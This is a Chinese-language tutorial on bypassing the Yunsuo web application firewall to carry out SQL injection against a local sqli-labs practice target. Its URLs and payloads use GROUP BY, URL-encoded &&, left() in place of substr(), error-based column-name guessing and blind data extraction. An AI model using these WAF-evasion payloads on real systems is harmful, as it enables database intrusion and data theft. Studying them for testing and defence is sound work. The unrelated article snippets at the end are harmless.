sqlmap之绕过云锁waf

news2024/11/28 4:47:56

 sql注入不会绕过WAF?关注我,让我带你由简入难实战各个WAF,前天我们实战了安全狗的WAF,今天先来看看比它难度更高的云锁WAF,你会绕吗?看我带你将它拿下

目录

一:环境配置

1.云锁WAF

2.sqli-labs的sql注入靶场环境

3.检测WAF是否起作用 

二:实际操作

 1. order by语句绕过

 2.and 连接符绕过

 3.substr截取函数绕过

 4.取字段名绕过

 5.取数据 


一:环境配置

1.云锁WAF

环境配置首先就是要搭建云锁的WAF防护,这里也给大家准备好了,连接如下 

链接:https://pan.baidu.com/s/10i982aEUOt2faz78ndVriw?pwd=u6w6 
提取码:u6w6 

2.sqli-labs的sql注入靶场环境

这个我相信屏幕前的渗透大牛们应该都有吧(没有的可以私我拿),这里就不多介绍了,主要是拿实战环境过不了审,所以只能用靶场,大家理解一下,思路都是一样的 

3.检测WAF是否起作用 

 这里以sqli-labs靶场的第一关做演示,如下 

传入id=1后,加单引号,正常报错,说明可能存在注入 

http://192.168.0.108/sql/less-1/?id=1' 
 

 再加入%23,回显正常,说明为字符型注入 

再使用union select 语句,如下

http://192.168.0.108/sql/less-1/?id=1' union select %23
 

出云锁拦截页面,说明云锁布置成功,如下 

二:实际操作

 1. order by语句绕过

在尝试云锁对order by语句的防护绕过时,我使用了大量的fuzz,但是仍然绕不过去,所以只能寻求order by的替换方式,那就是group by语句,该语句效果等同于order by,经过测试,这个语句并没有被云锁拦截

http://192.168.0.108/sql/less-1/?id=1' group by 3%23
 

 

 2.and 连接符绕过

云锁的and绕过也比较简单,将and替换为%26%26(&&的url的编码)即可绕过检测

http://192.168.0.108/sql/less-1/?id=1' %26%26 1=1 %23
 

这里的&&必须换成url编码,否侧&会被识别为变量标识符 

 3.substr截取函数绕过

 截取函数也是同理,substr()函数肯定是用的最多的,对应的也是被封的最多的,这里其实只需要将substr()函数换成left()函数,能达到一样的效果

http://192.168.0.108/sql/less-1/?id=1' %26%26 left("abcd",1) = 'a' %23
 

 4.取字段名绕过

云锁的取字段操作,因为涉及太多的敏感词,而fuzz对于云锁基本没用,所以我们直接另辟蹊径,这里也是我想使用的一个技巧——left函数的另类使用

因为left可以使用, 所以就可以构造如下的语句

select * from users where id = 1 and left(abcd,1)='a'
 

效果如下

 果不其然,提示没有abcd这个字段,此时我们将abcd换成id,效果如下

可以看到不会报出不存在字段这个错误了,说明存在这个字段,也就是通过该方法可以对表中已有的字段名进行判断

所以我们可以构造一个常用字段名的字典,来进行一个爆破

至于为什么会报这个错误,具体的原理前面的文章也有介绍过,这里就不多讲了,想了解的小伙伴可以点此移步到我对此进行讲解的博客

 5.取数据 

现在我们已经知道字段名了,接下来就是一个正常的盲注流程,通过字段名一位一位取数据,这里就不多讲了,比如下面这个就是判断username中的数据有没有第一位字符是a的,有的话就不会报错

select * from users where id = 1' %26%26 left(username,1) = 'a' %23
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/142917.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

本地数仓项目(二)——搭建系统业务数仓详细流程

1 说明 本文基于《本地数据仓库项目(一)——本地数仓搭建详细流程》业务数据,在本地搭建系统业务数仓。 根据模拟sql脚本生成业务数据,依次执行生成业务数据即可。 sql脚本提供如下 链接:https://pan.baidu.com/s/1WX3xVMQvAApSUZMobWLiLQ…

Vue-cli创建项目的目录结构与子父组件之间的通信

一、Vue脚手架的使用1、通过命令行使用vue-cli的指令创建:vue init webpack 项目名称build文件夹: 用于webpack打包配置文件夹config文件夹:与webpack相关的配置文件夹|——- index.js:可以改变项目默认的端口号node_moudles&…

Vue3/ Vite 的使用介绍 、Vite 方式工作流程 与 传统方式工作流程区别

一. Vite 的使用介绍 优势: 💡极速的服务启动 使用了原生的 ESM文件 无需打包 ⚡️ 轻量快速的热重在 始终极快的模块热重载 🛠️丰富的功能 对于 typescript jsx css 等支持开箱即用 📦 等等 二.Vite 方式工作流程 与 传统方式工作流程…

千万不要把Request传递到异步线程里面!有坑!

前几天在网上冲浪的时候看到一篇技术文章,讲的是他把一个 request 请求传递到了线程池里面,然后遇到了一个匪夷所思的情况。 他写了这篇文章,把自己针对这个问题的探索过程分享了出来: 《springboot 中如何正确的在异步线程中使用…

ACL命名实验

目录 一.ACL命名实验 1.实验要求: 2.配置全网通 配置主机地址 3.根据实验要求配置ACL 4.测试完成后再根据下一次要求继续配置 一.ACL命名实验 实验图片 1.实验要求: 要求 全网通 服务器上配置 web 服务和 ftp 服务 配置 命名的acl 列表 …

_Linux 进程信号-信号保存篇

文章目录前言阻塞信号1. 信号常见概念2. 在内核中的表示信号处理过程3. sigset_t4. 信号集操作函数sigprocmasksigpending5. 测试与验证实验一实验二实验三前言 上篇文章(链接: _Linux 进程信号-基础篇)我们了解了信号的基础概念以及信号如何发送的。 …

强化学习_06_pytorch-PPO实践(Pendulum-v1)

一、PPO简介 TRPO(Trust Range Policy Optimate)算法每一步更新都需要大量的运算,于是便有其改进版本PPO在2017年被提出。PPO 基于 TRPO 的思想,但是其算法实现更加简单。TRPO 使用泰勒展开近似、共轭梯度、线性搜索等方法直接求解。PPO 的优化目标与 T…

可观测性--数据源

文章目录监控数据来源端上访问应用程序业务监控基础设施可观测性核心概念日志(Logging)统计指标(Metrics)链路追踪(Tracing)三者之间关系监控数据来源 我们一般讲的数据观测,其实观测的就是从发…

【Linux】计算机软硬件体系结构

文章目录冯诺依曼体系结构操作系统(Operator System)什么是操作系统为什么要有操作系统操作系统是怎么实现管理的系统调用接口和库函数总结冯诺依曼体系结构 谈到计算机的硬件结构,第一个想到的必然是经典的冯诺依曼体系结构: 我们常见的计算机&#xf…

在购买低代码产品时,源码是必需的吗?

编者按:企业在采购软件或者平台时,到底需不需要源码?本文分析了源码交付的对于不同规模和情况企业的意义,并介绍了源码交付的低代码平台。关键词:源码交付,可视化设计,私有化部署,多…

数据上线:首届6G智能无线通信系统大赛OPPO赛道评测正式开启

12月26日,首届6G智能无线通信系统大赛——面向小样本条件场景自适应及在线更新需求的无线AI设计赛题已经正式上线,数据集也已经在1月3日正式上线啦,评测同步开启,快来打擂冲榜! 文末还将揭晓本赛题专属活动&#xff0…

图像锐化处理之一阶微分算子

图像锐化是通过增强图像的边缘和细节来提高图像的清晰度的操作。这种操作通常用于将模糊或不清晰的图像改进为更清晰的图像。由于微分是对函数局部变化率的一种描述,因此图像锐化算法的实现可基于空间微分。 一阶微分算子 对任意一阶微分的定义必须满足两点&#xf…

采用热电偶温度传感器实现超高精度温度跟踪控制的解决方案

摘要:针对温度跟踪控制中存在热电堆信号小致使控制器温度跟踪控制精度差,以及热电阻形式的温度跟踪控制中需要额外配置惠斯特电桥进行转换的问题,本文提出相应的解决方案。解决方案的核心是采用一个多功能的超高精度PID控制器,具有…

ubuntu18.04安装mysql5.7.32

目录一、下载mysql安装包二、下载依赖三、安装mysql四、导入sql一、下载mysql安装包 下载地址:https://downloads.mysql.com/archives/community/ 下载包 mysql-server_5.7.32-1ubuntu18.04_amd64.deb-bundle.tar 下载后解压,里面包含要安装的deb包 二、…

计算机编码

字符的表示原理 计算机内所有信息都是使用0和1进行表示的。 对于一个短路来说,0代表关,1代表开。那把这些电路组合起来就可以有长串0和1组成的二进制数字,我们对这些数字进行编码和解码,我们就能用它来表示我们想要表示的东西了…

蓝牙模块芯片串口透传的AT指令模式和波特率是什么意思

一、什么是蓝牙串口透传模块的模式 蓝牙串口模块,一般都会有两个模式,即AT指令模式,以及透传模式 1、有的模块,会通过一个GPIO口来选择当前是什么模式,比如将一个IO口拉低则进入透传模式,也就是不再识别A…

element-ui 表格el-table高度不是一个固定值时固定表头

elementui中为表格组件提供了height属性实现固定表头 height可以为数字或者字符串,当为一个数字时表示固定的高度,也可以为百分比等字符串。 当height不是一个固定值时,如期望表格可以填充完页面剩余空间,并且固定表头时&#x…

Mysql之常见可视化管理工具

mysql在日常开发中作为基础软件,对其数据的管理必不可少,除了系统自带的命令行管理工具之外,还有许多其他的图形化管理工具,下面介绍常见的mysql图形化管理工具。 1、Navicat Navicat 是一个桌面版 MySQL 数据库管理和开发工具。…

【Linux操作系统】程序的编译和动静态链接

文章目录一.编译写在前面1.预处理2.编译3.汇编二.(动静态)链接1.动态链接2.静态链接3.静态链接库的下载安装4.windows下动静态库的后缀一.编译 写在前面 编译这整个过程都只是在编译你自己写的代码,直到链接才让你的代码和库的代码关联起来,最终形成可执行程序 源程序到可执行…

靶机测试Os-ByteSec笔记

靶机测试Os-ByteSec笔记 靶机描述 Back to the Top Difficulty : Intermediate Flag : 2 Flag first user And second root Learning : exploit | SMB | Enumration | Stenography | Privilege Escalation Contact … https://www.linkedin.com/in/rahulgehlaut/ This w…